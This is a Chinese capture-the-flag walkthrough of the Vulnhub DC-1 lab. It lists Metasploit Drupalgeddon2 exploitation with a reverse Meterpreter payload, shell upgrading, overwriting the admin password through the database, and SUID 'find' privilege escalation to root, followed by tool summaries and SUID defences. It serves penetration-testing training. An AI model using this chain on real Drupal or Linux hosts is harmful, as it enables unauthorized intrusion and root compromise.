渗透测试综合靶场 DC-1 通关详解

Vulnhub是一个提供各种漏洞环境的靶场平台,非常适合安全爱好者和渗透测试初学者进行学习和实践。在这个平台上,你可以下载多种虚拟机,这些虚拟机预装了各种漏洞,让你可以在本地环境中进行渗透测试、提权、漏洞利用和代码审计等操作。

官网:https://www.vulnhub.com

从今天起,我们将逐步开启Vulnhub靶机通关练习。

======================================

目录

一、准备阶段

1.1 靶机描述 

二、靶场渗透

2.1 信息收集

2.1.1 寻找靶机真实IP

2.1.2 查看开启端口

2.2 漏洞利用

2.2.1 msf查找漏洞

2.2.2 payload利用

2.3 获得shell

2.3.1 获取shell

2.3.2 数据库操作

2.4 SUID提权

2.4.1 登录网站

2.4.2 用户密码查看

2.4.3 提权

2.4.4 查看最终的root目录

三、总结

3.1 使用的命令和工具

3.1.1 nmap

3.1.2 arp-scan

3.1.3 nikto

3.1.4 MSF

3.1.5 SUID提权


一、准备阶段

准备工具如Kali Linux,下载并设置DC-1靶场机。确保攻击机和靶机在同一网络段,通常设置为桥接模式或NAT模式。

1.1 靶机描述 
DC-1 is a purposely built vulnerable lab for the purpose of gaining experience in the world of penetration testing.
It was designed to be a challenge for beginners, but just how easy it is will depend on your skills and knowledge, and your ability to learn.
To successfully complete this challenge, you will require Linux skills, familiarity with the Linux command line and experience with basic penetration testing tools, such as the tools that can be found on Kali Linux, or Parrot Security OS.
There are multiple ways of gaining root, however, I have included some flags which contain clues for beginners.
There are five flags in total, but the ultimate goal is to find and read the flag in root's home directory. You don't even need to be root to do this, however, you will require root privileges.
Depending on your skill level, you may be able to skip finding most of these flags and go straight for root.
Beginners may encounter challenges that they have never come across previously, but a Google search should be all that is required to obtain the information required to complete this challenge.
DC-1 是一个故意构建的有漏洞的实验室,目的是为了在渗透测试领域获得经验。它被设计成对初学者来说是一个挑战,但具体有多容易将取决于你的技能和知识,以及你的学习能力。为了成功完成这个挑战,你将需要 Linux 技能、熟悉 Linux 命令行,以及使用基本渗透测试工具的经验,比如在 Kali Linux 或 Parrot Security OS 上可以找到的工具。有多种方法可以获得 root 权限,然而,我已经包含了一些包含线索的标志,以帮助初学者。总共有五个标志,但最终目标是在 root 用户的主目录中找到并读取标志。你甚至不需要是 root 用户就能完成这个任务,但你将需要 root 权限。根据你的技能水平,你可能能够跳过寻找大多数这些标志,直接追求 root 权限。初学者可能会遇到他们以前从未遇到过的挑战,但谷歌搜索应该足以获得完成这个挑战所需的信息。

在官网下载DC-1后,我们会得到一个 .ova 格式的文件,这是虚拟机压缩文件,直接导入VM打开即可。

DC-1开启后,我们看到如下页面,此时,我们并不知道密码,或者说,此时我们对DC-1基本上是一无所知。为数不多知道的信息是:DC-1的网段,因为DC-1和kali我都将网络设置为了NAT模式,所以他们也应该处于同一网段。

二、靶场渗透

DC1靶场渗透的步骤和逻辑通常包括以下几个阶段:

  • 环境搭建:准备工具如Kali Linux,下载并设置DC-1靶场机。确保攻击机和靶机在同一网络段,通常设置为桥接模式。
  • 信息收集:使用工具如nmap、arp-scan或netdiscover来探测目标IP地址,探测目标IP开放的端口,以及网页信息收集。例如,使用nmap -sV -p- 192.168.120.128来探测开放端口。
  • 漏洞查找与利用:根据收集到的信息,如CMS类型(例如Drupal),查找相关的漏洞。使用工具如Metasploit(msfconsole)来利用这些漏洞。
  • Getshell:通过漏洞利用获取对靶机的访问权限,可能包括获取普通shell和交互shell。
  • 数据库渗透:尝试登录数据库,使用找到的数据库凭据。
  • 用户密码爆破:如果必要,对用户密码进行爆破。
  • Linux提权:尝试提升权限,例如使用SUID提权。

在正式开启渗透之前,我们来了解一下DC-1的背景:DC-1靶场是一个为渗透测试初学者设计的练习环境,它包含了多个知识点,其中Drupal 7漏洞利用和find提权是两个重点。

  1. Drupal 7 漏洞利用:Drupal是一个开源的内容管理系统,它在7.x版本中存在多个已知的漏洞,这些漏洞可以被利用来获取对系统的访问权限。在DC-1靶场中,利用Drupal的漏洞是获取初始访问权限的一种方式。例如,可以通过Metasploit中的模块exploit/unix/webapp/drupal_drupalgeddon2来利用Drupal的远程代码执行漏洞,从而获取一个shell。这个过程中,攻击者需要熟悉如何使用Metasploit框架,以及如何配置和执行漏洞利用模块。
  2. find 提权:在Linux系统中,SUID(Set User ID upon execution)位允许某些程序以其他用户的安全权限运行。在DC-1靶场中,find命令具有SUID权限,可以被用来提权。攻击者可以利用具有SUID权限的find命令来执行提权操作,例如使用命令find / -perm -u=s -type f 2>/dev/null来查找所有具有SUID权限的文件,然后使用find ./ -exec '/bin/sh' \;来获取一个root shell。

这两个知识点是DC-1靶场中的关键挑战,它们不仅测试了渗透测试者对已知漏洞的利用能力,还测试了他们对Linux系统提权技术的理解。通过这些练习,渗透测试者可以提高他们的技能,学习如何在实际环境中识别和利用安全漏洞。

2.1 信息收集

信息收集是渗透攻击的前置步骤,使用工具如nmap、arp-scan或netdiscover来探测目标IP地址,探测目标IP开放的端口,以及网页信息收集。例如,使用nmap -sV -p- 等命令来探测开放端口。

根据收集到的信息,我们才能进一步实施攻击。如CMS类型(例如Drupal),查找相关的漏洞。使用工具如Metasploit(msfconsole)来利用这些漏洞。

2.1.1 寻找靶机真实IP

首先,我们先来探测靶机的真实IP,我们先来看一下kali的ip地址

知道了kali的IP,我们就知道了DC-1的网段。因为他们都是NAT模式,应该处于同一网段,所以我们现在开看一下这个网段下的所有主机,通过排除法推测靶机的ip地址

据此推测,靶机的IP应该是172.16.130.138。使用arp扫描也是同样的结果

nmaparp-scan 是两个常用的网络扫描工具,它们都可以用来探测网络上的设备,但它们在工作原理和使用场景上有所不同。

  • nmap -sP:适用于跨越多个子网或在不知道目标网络MAC地址的情况下进行主机发现。它可以用来检测目标网络中的活动主机,无论它们是否响应ARP请求。
  • arp-scan -l:通常用于检测与扫描设备在同一局域网(LAN)内的设备。它不会跨越路由器或交换机,因此只适用于本地网络
2.1.2 查看开启端口

得到了靶机IP后,我们来进一步探测查看靶机开启了什么端口。一旦识别出运行在目标系统上的服务,安全专家可以进一步检查这些服务的版本和配置,以确定是否存在已知漏洞或弱点,这些信息对于渗透测试和漏洞评估至关重要。

例如,我们使用nmap来探测目标IP的开放端口,你可以直接使用 nmap -A ,这个命令可以启用许多扫描选项,版本扫描,脚本扫描等(但容易出现一些问题,崩溃等)。我这里选择使用另一条简单一点的nmap命令

可以看到,开放的端口有22、80和不知道是干什么的111等。22端口可以使用爆破、ssh远程连接,80端口可以登录web网页

我们来试着访问一下靶机的IP地址,可以看到如下页面

我们看到Drupal Site基本上就有思路了

国外三大开源php CMS

drupal 【无专用扫描器,但是msf内置了模块】

wordpress 【有专用扫描器】

joomla 【有专用扫描器】

而上面我们也说过,Drupal是存在漏洞的,我们可以根据此来下手,寻找漏洞进行爆破

我们回到终端使用nikto看一下版本


可以看到,Drupal的版本是7.x,对于此版本,msf有一些现成的模块我们可以尝试试试。

2.2 漏洞利用
2.2.1 msf查找漏洞

"MSF"通常指的是Metasploit Framework,这是一个著名的开源渗透测试框架,由Rapid7开发和维护。Metasploit Framework提供了一系列工具,使安全研究人员和渗透测试人员能够识别、利用和验证软件漏洞。首先,我们进入msf。

msfconsole

查找相应模块

search Drupa

可以看到,Drupa中有许许多多的漏洞,使用相应模块,咱也都试了下,发现 exploit/unix/webapp/drupal_drupalgeddon2 这个里面可以

选择查看payload有什么

show payloads

在这里,我们发现了php/meterpreter/reverse_tcp ,这是 Metasploit 框架中的一个 payload 类型,它结合了 PHP 脚本语言和 Metasploit 的 Meterpreter 会话管理工具,用于在目标机器上执行远程代码并建立一个交互式的反向 TCP 连接。

那么我们现在,就来使用这个漏洞进行攻击。

2.2.2 payload利用

使用payload使用set命令

set payload php/meterpreter/reverse_tcp

查看需要配置的参数

show options

yes的地方是必须填写的,默认基本上帮我们填好了。我们只需要填写靶机的IP也就是填写RHOSTS

set rhosts [靶机IP]

使用exploit启动


可以看到session的建立

2.3 获得shell
2.3.1 获取shell

现在,我们可以来查看DC-1的基本信息了

使用ls查看一下现在的信息,现在我们已经可以看到一个flag1.txt文件了


每个好的CMS都需要一个配置文件——你也不例外。这提示我们要去找网站的配置文件


我们按照它给我们提示,区配置文件中寻找,果然在这里找到了flags2

Brute force and dictionary attacks aren't the
only ways to gain access (and you WILL need access).
What can you do with these credentials?
暴力破解和字典攻击并不是获取访问权限的唯一方式(而且你确实需要访问权限)。
拥有这些凭据后,你能做些什么?

再往下翻还有数据库的账号密码。通过这些信息我们大概可以猜到他的意思:暴力破解指的是前面80端口的登录框,他告诉我们没办法巴黎破解登录,我们需要进行提权操作。

2.3.2 数据库操作

既然前面给了我们数据库账号密码以及数据库名字,那我们现在来尝试登录一下:用户名是dbuser,密码是R0ck3t

首先我们需要先进入shell,确认一下端口,看看数据库开了没,可以看到3306端口开启,没有问题

这个时候需要注意,不能直接msf进入,因为msf是从web服务打进去的,而HTTP是瞬时协议,需要让python来做一个中介。如果不这样做,会显示找不到mysql命令

交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
或者
python -c 'import pty; pty.spawn("/bin/bash")'

进入到数据库后,我们查看一下库

我们进入到drupaldb库中,查看库中的表。


可以看到,库中有一个users表,有关用户密码等信息很可能存储在此表中

查看表中内容,果不其然,我们在这里找到了admin的密码(经过加密后的),我们可以使用解密工具(如cmd5等网站)进行破解,破解后我们得到密码为Please log in !


这样,我们就得到了管理员的登录名与登陆密码。当然,有时破解root密码的密文并不容易,我们也可以尝试覆盖root的密码,例如,我们可以先退出数据库,生成一个密码,明文为123456

php scripts/password-hash.sh 123456

重新进入数据库,更新密码

update users set pass=“你加密后的密码” where uid=1;

注意:你需要先切到你要更新密码的库中再执行更新操作,否则计算机不知道你到底要更改谁的密码

现在,root有了新的账户密码——admin:123456

2.4 SUID提权
2.4.1 登录网站

更新密码完成后,我们再回到当初的网站,输入账号密码成功登录。在网页中随便逛逛,发现flag3


Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
特殊的权限将有助于找到密码文件,但你需要执行那个命令来弄清楚如何获取shadow文件中的内容。
2.4.2 用户密码查看

根据提示passwd,我们可以想到/etc/passwd,使用cat查看一下用户文件,果然在其中发现了flag4,根据他给的路径找到flag4文件夹,里面有flag4.txt文件,但是当我们想要cat查看文件时候,他告诉我们权限不够。


2.4.3 提权

既然权限不够,那我们就进行提权:首先试试SUID提权。

查看默认以root权限执行的程序

find / -perm -u=s -type f 2>/dev/nullfind 指令
/ 根目录(查找位置)
-perm 权限
-u 用户(s=特权)
-type 类型
f 文件
2>/dev/nul 过滤错误信息(不显示错误信息)

可以看到,find就在其中,那么就比较简单了,我们直接使用find提权

find / -exec “/bin/bash” -p \;

再次使用cat查看,成功拿下flag4

Can you use this same method to find or access the flag in root?Probably. But perhaps it’s not that easy. Or maybe it is?你可以用相同的方法来查找或访问root目录中的flag吗?可能可以。但也许并没那么容易。或者也许确实很简单?
2.4.4 查看最终的root目录

根据提示我们进入到/root,查看其目录下的文件


至此,DC-1的五个flag全部拿下,实验结束。

三、总结
3.1 使用的命令和工具
3.1.1 nmap

我们收集信息的第一步首先用到了nmap来探测IP和开放端口。

nmap(网络映射器)是一款开源的网络扫描和安全审计工具,它可以用来发现网络上的设备,检测开放的端口,确定运行在网络设备上的服务及其版本信息,以及检测潜在的安全漏洞。

常用nmap命令: 

1.主机发现:

  • nmap -sn 目标IP地址:快速扫描目标网络,仅用于主机发现,不扫描端口。
  • nmap -sn 目标IP地址/24:扫描整个C类子网。

2.端口扫描:

  • nmap 目标IP地址:扫描目标IP地址上的常见端口。
  • nmap -p 端口号 目标IP地址:扫描特定端口。
  • nmap -p- 目标IP地址:扫描所有端口(1-65535)

3.服务和版本检测:

  • nmap -sV 目标IP地址:检测开放端口的服务及其版本。

4.脚本扫描:

  • nmap -sV --script=脚本ID 目标IP地址:使用Nmap Scripting Engine (NSE) 执行特定脚本。

5.操作系统检测:

  • nmap -O 目标IP地址:尝试识别目标主机的操作系统。

6.综合扫描:

  • nmap -A 目标IP地址:启用操作系统检测、版本检测、脚本扫描和traceroute。

nmap的作用:

  1. 网络映射:识别网络上的设备和它们之间的连接关系。
  2. 安全审计:检测网络设备上的开放端口和运行的服务,评估潜在的安全风险。
  3. 漏洞评估:通过版本检测和脚本扫描,识别已知漏洞和脆弱性。
  4. 系统识别:确定目标主机的操作系统,为进一步的测试提供信息。
  5. 隐蔽测试:使用隐蔽扫描技术,减少被检测到的可能性。
  6. 防火墙测试:测试防火墙规则的有效性,识别可能的绕过技术。
  7. 文档记录:记录网络扫描结果,为网络管理和安全分析提供数据。
3.1.2 arp-scan

arp-scan 是一个用于发送 ARP 请求以识别本地网络中活动主机的工具。它通常用于网络发现和主机发现阶段,尤其是在进行网络扫描和安全审计时。arp-scan 利用 ARP 协议的特点,可以快速地发现同一局域网(LAN)内的所有设备。

常用arp-scan命令:

1.基本扫描:

  • arp-scan --localnet:扫描本地网络中的所有设备。
  • arp-scan 192.168.1.0/24:扫描指定子网内的所有设备。

2.指定接口:

  • arp-scan -I eth0 192.168.1.0/24:使用特定的网络接口(例如 eth0)来扫描指定子网。

3.快速扫描:

  • arp-scan -f -l:快速扫描本地网络并显示结果。

arp-scan的作用:

  1. 网络发现:快速识别同一局域网内的活动设备。
  2. 设备识别:获取设备的 MAC 地址和 IP 地址。
  3. 网络映射:帮助绘制网络拓扑图,了解网络结构。
  4. 安全审计:在渗透测试中用于识别目标网络中的所有潜在攻击面。
  5. 故障排除:用于网络故障诊断,识别网络中的冲突或问题设备。
  6. 监控:监控网络中的设备变化,如新设备加入或设备离线。
3.1.3 nikto

Nikto 是一个开源的 web 服务器扫描工具,它用于对 web 服务器进行安全审计,以检测潜在的安全问题。Nikto 可以检查 web 服务器上的文件、程序、服务器配置等,以查找已知的漏洞、不安全的文件、默认文件、错误配置等。

常用Nikto命令:

1.基本扫描:

  • nikto -host target_url:对指定的 URL 进行扫描。

2.使用SSL/TLS扫描:

  • nikto -host https://target_url:对 HTTPS 服务的 URL 进行扫描。

3.输出结果:

  • nikto -output scan_output.txt -host target_url:将扫描结果保存到指定的文本文件中。

4.指定端口:

  • nikto -port 8080 -host target_url:对指定端口上的 web 服务器进行扫描。

Nikto的作用:

  1. 安全审计:帮助 web 管理员和安全专家识别 web 应用程序中的安全漏洞。
  2. 漏洞检测:检查 web 服务器是否容易受到已知漏洞的攻击。
  3. 配置评估:评估 web 服务器的配置是否符合安全最佳实践。
  4. 合规性检查:确保 web 应用程序符合特定的安全标准和法规要求。
  5. 错误配置识别:发现服务器配置中的错误,如不当的 HTTP 响应头设置。
  6. 敏感文件检查:查找 web 服务器上不应公开的敏感文件和目录。
  7. 信息收集:收集 web 服务器的相关信息,如服务器类型、操作系统、应用程序版本等。
3.1.4 MSF

Metasploit Framework 的主要特点:

  1. 漏洞库:包含数千个已知漏洞的数据库,这些漏洞覆盖了各种操作系统、应用程序和服务。
  2. 模块化架构:允许用户根据需要加载和使用不同的模块,如漏洞利用模块、payload模块、辅助工具模块等。
  3. Meterpreter:一个高级的、可交互的payload,提供了对被攻击系统的隐蔽控制和复杂的后渗透操作。
  4. 自动化扫描:能够自动化地扫描目标系统,识别潜在的漏洞。
  5. 多平台支持:可以在Windows、Linux、macOS等多种操作系统上运行。
  6. 更新频繁:拥有活跃的开发社区,不断添加新的漏洞和工具。
  7. 集成开发环境:提供了一个集成的开发环境,用于创建和测试新的漏洞利用代码。
  8. 多语言支持:支持多种编程语言,如Ruby、Python等,方便开发者编写和集成自定义脚本。

常用命令和概念:

  • msfconsole:启动 Metasploit 命令行界面。
  • search:搜索特定的漏洞、payload或辅助工具。
  • use:选择一个特定的模块,如漏洞利用或payload。
  • show options:显示当前模块的配置选项和要求。
  • set:设置模块选项,如目标IP(RHOSTS)、端口(RPORT)等。
  • exploit:执行漏洞利用。
  • payload:定义在成功利用漏洞后执行的代码,如获取反向shell。
  • encoders:用于加密payload,以绕过入侵检测系统。
  • nop:填充字节,用于绕过某些安全检查。
  • exploit/multi/handler:用于监听并处理传入的连接,通常与payload配合使用
3.1.5 SUID提权

在类Unix操作系统中,SUID(Set User ID upon execution)是一种特殊的文件权限,允许用户执行程序时暂时获得程序所有者的权限。这个特性常被用于那些需要较高权限才能正常运行的程序,例如某些系统管理工具。

SUID 提权的原理:

当一个文件被设置为SUID时,任何用户执行该文件都会以该文件所有者的权限来运行。例如,如果一个属于root的文件被设置了SUID权限,那么任何用户执行这个文件都会以root用户的权限来运行,直到程序执行结束

SUID 提权的利用:

在渗透测试中,如果攻击者发现系统中存在被设置为SUID的可执行文件,他们可能会尝试利用这个文件来提升权限。以下是一些常见的SUID提权技巧:

  • 利用已知漏洞:如果SUID文件是一个有已知漏洞的程序,攻击者可能会利用这些漏洞来执行任意代码。
  • 利用竞争条件(Race Conditions):攻击者可能会尝试在程序创建或修改文件的瞬间,替换或篡改这些文件,以执行恶意代码。
  • 利用脚本中的缺陷:如果SUID程序是通过解释器(如Python、Perl、Ruby)运行的脚本,攻击者可能会修改环境变量或脚本内容,使得解释器执行恶意代码。
  • 利用程序逻辑错误:有些程序可能在逻辑上存在缺陷,允许用户以提升的权限执行某些操作

SUID 提权的防御:

  • 最小权限原则:仅将SUID权限赋予真正需要的程序。
  • 定期审计:定期审计系统中的SUID文件,确保它们是安全的,没有已知漏洞。
  • 使用非SUID替代方案:如果可能,使用其他机制(如sudo)来提供必要的权限,而不是依赖SUID。
  • 限制SUID程序的执行环境:例如,限制环境变量,确保它们不会被恶意修改。
  • 监控和日志记录:监控SUID程序的执行,并记录相关日志,以便在发生安全事件时进行调查

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/426574.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

nginx进阶篇(二)

文章目录 概图一、 Nginx服务器基础配置实例二、Nginx服务操作的问题三、Nginx配置成系统服务四、Nginx命令配置到系统环境五、Nginx静态资源部署5.1 Nginx静态资源概述5.2 Nginx静态资源的配置指令5.2.1. listen指令5.2.2. server_name指令配置方式匹配执行顺序 5.2.3 locatio…

【与C++的邂逅】--- C++的IO流

Welcome to 9ilks Code World (๑•́ ₃ •̀๑) 个人主页: 9ilk (๑•́ ₃ •̀๑) 文章专栏: 与C的邂逅 本篇博客我们来了解C中io流的相关知识。 🏠 C语言输入输出 C语言中我们用到的最频繁的输入输出方式就是scanf ()与printf()。 sc…

【C++】模拟实现vector

在上篇中我们已经了解过的vector各种接口的功能使用,接下来我们就试着模拟实现一下吧! 注意:我们在此实现的和C标准库中实现的有所不同,其目的主要是帮助大家大概理解底层原理。 我们模拟vector容器的大致框架是: t…

Java入门程序-HelloWorld

Java程序开发的三个步骤 1.编写代码得到 .java 源代码文件 2.使用javac编译得到 .class 字节码文件 3.使用java运行 注意事项 建议代码文件名全英文,首字母大写,满足驼峰命名法,源代码文件的后缀必须是.java 开发HelloWorld程序 &…

进程的属性

tips: task_struct就是linux下的PCB 操作系统不相信任何外部用户,而是只提供窗口,不可能直接与用户打交道,而是通过操作系统 tast_struct用来描述所有进程,用来管理 ; 和 && 可以同时跑两个命令 进…

AI修手有救了?在comfyui中使用Flux模型实现局部重绘案例

🐱‍🐉背景 局部重绘相关的话题我们已经讨论和测试过很多次了,比如说inpaint模型、brushnet模型、powerpaint模型等等,最近对于flux模型重绘画面的案例也越来越多了,那我们就结合flux模型的重绘来试试看效果。 &…

高级大数据开发协会

知识星球——高级大数据开发协会 协会内容: 教你参与开源项目提供新技术学习指导提供工作遇到的疑难问题技术支持参与大数据开源软件源码提升优化以互利共赢为原则,推动大数据技术发展探讨大数据职业发展和规划共享企业实际工作经验 感兴趣的私聊我,…

『功能项目』窗口可拖拽脚本【59】

本章项目成果展示 我们打开上一篇58第三职业弓弩的平A的项目, 本章要做的事情是给坐骑界面挂载一个脚本让其显示出来的时候可以进行拖拽 创建脚本:DraggableWindow.cs using UnityEngine; using UnityEngine.EventSystems; public class DraggableWindo…

linux网络编程2

24.9.18学习目录 一.数据包的传送1.数据包在每层间的传送2.链路层的封包3.网络层、传输层封包格式 二.字节序1.概念2.字节序转换函数 三.IP地址转换四.UDP1.概述2.网络编程接口socket3.UDP的C/S架构4.UDP编程 一.数据包的传送 1.数据包在每层间的传送 传送方数据从运用层到链…

MySQL之内置函数

目录 一:日期函数 二:字符串函数 三:数学函数 四:其他函数 一:日期函数 举例: (1) mysql> select current_date(); ---------------- | current_date() | ---------------- | 2024-09-17 | ---------------- 1 row …

# 利刃出鞘_Tomcat 核心原理解析(十一)-- Tomcat 附加功能 WebSocket -- 3

利刃出鞘_Tomcat 核心原理解析(十一)-- Tomcat 附加功能 WebSocket – 3 一、Tomcat专题 - WebSocket - 案例 - OnMessage分析 1、WebSocket DEMO 案例 实现流程分析:OnMessage 分析 2、在项目 dzs168_chat_room 中,在 websocke…

CSP-CCF★★★201903-2二十四点★★★

目录 一、问题描述 二、解答 方法一:穷举法(只列举了一部分) 方法二:中缀表达式直接求值,两个栈,一个存放数值,一个存放符号 方法三:将中缀表达式转换为后缀来计算注意&#xff…

SpringBoot2:web开发常用功能实现及原理解析-@ControllerAdvice实现全局异常统一处理

文章目录 前言1、工程包结构2、POM依赖3、Java代码 前言 本篇主要针对前后端分离的项目,做的一个统一响应包装、统一异常捕获处理。 在Spring里,我们可以使用ControllerAdvice来声明一些关于controller的全局性的东西,其用法主要有以下三点…

建模杂谈系列256 规则函数化改造

说明 之前尝试用FastAPI来构造规则,碰到的问题是由于请求量过大(TPS > 1000), 从而导致微服务端口资源耗尽。所以现在的point是: 1 如何使用函数来替代微服务(同时要保留使用微服务的优点)2 进一步抽象并规范规则的执行3 等效合并规则的方法 内容 0 机制讨论…

数据中台建设(六)—— 数据开发-提取数据价值

数据开发-提取数据价值 数据开发涉及的产品能力主要包括三部分:离线开发、实时开发和算法开发。 离线开发主要包括离线数据的加工、发布、运维管理,以及数据分析、数据探索、在线查询和及时分析相关工作。实时开发主要涉及数据的实时接入和实时处理。算…

【算法】动态规划—最长回文子序列

思路分析 关于”回文串“的问题,是面试中常见的,本文提升难度,讲一讲”最长回文子序列“问题,题目很好理解: 输入一个字符串 s,请找出 s 中的最长回文子序列长度。 比如输入 s"aecda"&#xff0c…

WSL中使用AMBER GPU串行版

前提是已经安装过wsl 1 在 WSL 2 中启用 NVIDIA CUDA 参考在 WSL 2 上启用 NVIDIA CUDA | Microsoft Learn 注意:勿在 WSL 中安装任何 Linux 显示驱动程序。Windows 显示驱动程序将同时安装本机 Windows 和 WSL 支持的常规驱动程序组件。 2 在WSL2中配置Cuda 不安…

5G毫米波阵列天线仿真——CDF计算(手动AC远场)

之前写过两个关于阵列天线获取CDF的方法,一个通过Realized Gain,一个通过Power Flow, 三个案例中都是3D中直接波束扫描,并没有展示场路结合的情况。这期我们用Power Flow的方法,手动合并AC任务的波束计算CDF。 还是用…

Linux(7)--目录文件的创建、删除、移动、复制、重命名

文章目录 1. 创建目录、文件2. 删除目录、文件3. 移动目录、文件4. 复制目录、文件5. 重命名目录、文件 1. 创建目录、文件 使用mkdir创建目录: 使用touch创建文件: 2. 删除目录、文件 使用rm可以删除文件: 使用rm -f可以强制删除文件,…

C++掉血迷宫

目录 开头程序程序的流程图程序游玩的效果下一篇博客要说的东西 开头 大家好&#xff0c;我叫这是我58。 程序 #include <iostream> #include <string> #include <cstring> using namespace std; enum RBYG {R 1,B 2,Y 4,G 7, }; struct heal {int ix…